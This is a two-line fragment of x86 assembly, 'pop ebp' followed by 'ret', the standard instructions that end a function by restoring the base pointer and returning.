pop ebp
ret